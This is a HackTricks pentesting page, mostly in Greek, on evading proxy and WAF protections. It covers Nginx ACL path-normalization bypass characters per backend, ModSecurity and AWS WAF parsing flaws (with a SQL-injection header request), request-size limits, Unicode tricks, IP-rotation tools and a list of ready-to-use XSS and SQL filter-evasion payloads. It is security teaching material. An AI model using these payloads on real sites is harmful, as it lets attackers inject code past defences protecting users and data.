hacktricks/pentesting-web/proxy-waf-protections-bypass.md

17 KiB
Raw Blame History

Proxy / WAF Protections Bypass

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

Bypass Nginx ACL Rules with Pathname Manipulation

Τεχνικές από αυτή την έρευνα.

Παράδειγμα κανόνα Nginx:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Για να αποτραπούν οι παρακάμψεις, το Nginx εκτελεί κανονικοποίηση διαδρομής πριν από τον έλεγχο. Ωστόσο, αν ο διακομιστής backend εκτελεί διαφορετική κανονικοποίηση (αφαιρώντας χαρακτήρες που δεν αφαιρεί το nginx), μπορεί να είναι δυνατή η παράκαμψη αυτής της άμυνας.

NodeJS - Express

Nginx Version Node.js Bypass Characters
1.22.0 \xA0
1.21.6 \xA0
1.20.2 \xA0, \x09, \x0C
1.18.0 \xA0, \x09, \x0C
1.16.1 \xA0, \x09, \x0C

Flask

Nginx Version Flask Bypass Characters
1.22.0 \x85, \xA0
1.21.6 \x85, \xA0
1.20.2 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx Version Spring Boot Bypass Characters
1.22.0 ;
1.21.6 ;
1.20.2 \x09, ;
1.18.0 \x09, ;
1.16.1 \x09, ;

PHP-FPM

Διαμόρφωση Nginx FPM:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx είναι ρυθμισμένο να μπλοκάρει την πρόσβαση στο /admin.php, αλλά είναι δυνατόν να παρακαμφθεί αυτό με την πρόσβαση στο /admin.php/index.php.

Πώς να αποτρέψετε

location ~* ^/admin {
deny all;
}

Bypass Mod Security Rules

Path Confusion

Σε αυτή την ανάρτηση εξηγείται ότι το ModSecurity v3 (μέχρι 3.0.12), υλοποιούσε εσφαλμένα τη μεταβλητή REQUEST_FILENAME η οποία προοριζόταν να περιέχει τη διαδρομή που προσπελάστηκε (μέχρι την αρχή των παραμέτρων). Αυτό συμβαίνει επειδή εκτελούσε μια αποκωδικοποίηση URL για να αποκτήσει τη διαδρομή.
Ως εκ τούτου, ένα αίτημα όπως το http://example.com/foo%3f';alert(1);foo= στο mod security θα υποθέσει ότι η διαδρομή είναι απλώς /foo επειδή το %3f μετατρέπεται σε ? που τερματίζει τη διαδρομή URL, αλλά στην πραγματικότητα η διαδρομή που θα λάβει ο διακομιστής θα είναι /foo%3f';alert(1);foo=.

Οι μεταβλητές REQUEST_BASENAME και PATH_INFO επηρεάστηκαν επίσης από αυτό το σφάλμα.

Κάτι παρόμοιο συνέβη στην έκδοση 2 του Mod Security που επέτρεπε την παράκαμψη μιας προστασίας που εμπόδιζε τους χρήστες να προσπελάσουν αρχεία με συγκεκριμένες επεκτάσεις σχετικές με αρχεία αντιγράφων ασφαλείας (όπως το .bak) απλά στέλνοντας την τελεία κωδικοποιημένη σε %2e, για παράδειγμα: https://example.com/backup%2ebak.

Bypass AWS WAF ACL

Malformed Header

Αυτή η έρευνα αναφέρει ότι ήταν δυνατό να παρακαμφθούν οι κανόνες AWS WAF που εφαρμόζονταν σε HTTP headers στέλνοντας έναν "κακώς σχηματισμένο" header που δεν αναλύθηκε σωστά από την AWS αλλά αναλύθηκε από τον backend server.

Για παράδειγμα, στέλνοντας το ακόλουθο αίτημα με μια SQL injection στον header X-Query:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Ήταν δυνατόν να παρακαμφθεί το AWS WAF επειδή δεν καταλάβαινε ότι η επόμενη γραμμή είναι μέρος της τιμής της κεφαλίδας ενώ ο διακομιστής NODEJS το καταλάβαινε (αυτό διορθώθηκε).

Γενικές παρακάμψεις WAF

Όρια Μεγέθους Αιτήσεων

Συνήθως, τα WAF έχουν ένα συγκεκριμένο όριο μήκους αιτήσεων για έλεγχο και αν μια αίτηση POST/PUT/PATCH είναι πάνω από αυτό, το WAF δεν θα ελέγξει την αίτηση.

Μέγιστο μέγεθος σώματος αίτησης ιστού που μπορεί να ελεγχθεί για προστασίες Application Load Balancer και AWS AppSync8 KB
Μέγιστο μέγεθος σώματος αίτησης ιστού που μπορεί να ελεγχθεί για προστασίες CloudFront, API Gateway, Amazon Cognito, App Runner και Verified Access**64 KB

Παλαιότερα Web Application Firewalls με Core Rule Set 3.1 (ή χαμηλότερα) επιτρέπουν μηνύματα μεγαλύτερα από 128 KB απενεργοποιώντας την επιθεώρηση σώματος αίτησης, αλλά αυτά τα μηνύματα δεν θα ελεγχθούν για ευπάθειες. Για νεότερες εκδόσεις (Core Rule Set 3.2 ή νεότερες), το ίδιο μπορεί να γίνει απενεργοποιώντας το μέγιστο όριο σώματος αίτησης. Όταν μια αίτηση υπερβαίνει το όριο μεγέθους:

Αν είναι λειτουργία πρόληψης: Καταγράφει και μπλοκάρει την αίτηση.
Αν είναι λειτουργία ανίχνευσης: Ελέγχει μέχρι το όριο, αγνοεί το υπόλοιπο και καταγράφει αν το Content-Length υπερβαίνει το όριο.

Από προεπιλογή, το WAF ελέγχει μόνο τα πρώτα 8KB μιας αίτησης. Μπορεί να αυξήσει το όριο έως 128KB προσθέτοντας Προηγμένα Μεταδεδομένα.

Έως 128KB.

Απόκρυψη

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode Compatability

Ανάλογα με την υλοποίηση της κανονικοποίησης Unicode (περισσότερες πληροφορίες εδώ), χαρακτήρες που μοιράζονται την συμβατότητα Unicode μπορεί να είναι σε θέση να παρακάμψουν το WAF και να εκτελούνται ως το προοριζόμενο payload. Συμβατοί χαρακτήρες μπορούν να βρεθούν εδώ.

Example

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥  --> img src=p onerror='prompt(1)'>

H2C Smuggling

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

IP Rotation

  • https://github.com/ustayready/fireprox: Δημιουργία ενός URL πύλης API για χρήση με το ffuf
  • https://github.com/rootcathacking/catspin: Παρόμοιο με το fireprox
  • https://github.com/PortSwigger/ip-rotate: Πρόσθετο Burp Suite που χρησιμοποιεί IP πύλης API
  • https://github.com/fyoorer/ShadowClone: Ένας δυναμικά καθορισμένος αριθμός περιβαλλόντων παραμέτρων ενεργοποιείται με βάση το μέγεθος του αρχείου εισόδου και τον παράγοντα διαχωρισμού, με την είσοδο να διαχωρίζεται σε κομμάτια για παράλληλη εκτέλεση, όπως 100 περιβάλλοντα να επεξεργάζονται 100 κομμάτια από ένα αρχείο εισόδου 10,000 γραμμών με παράγοντα διαχωρισμού 100 γραμμών.

Regex Bypasses

Διαφορετικές τεχνικές μπορούν να χρησιμοποιηθούν για να παρακαμφθούν τα φίλτρα regex στα τείχη προστασίας. Παραδείγματα περιλαμβάνουν εναλλαγή πεζών-κεφαλαίων, προσθήκη διακοπών γραμμής και κωδικοποίηση φορτίων. Πόροι για τις διάφορες παρακάμψεις μπορούν να βρεθούν στο PayloadsAllTheThings και OWASP. Τα παραδείγματα παρακάτω προήλθαν από αυτό το άρθρο.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Tools

  • nowafpls: Πρόσθετο Burp για την προσθήκη άχρηστων δεδομένων σε αιτήματα για την παράκαμψη των WAFs με βάση το μήκος

References

{% embed url="https://websec.nl/" %}

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}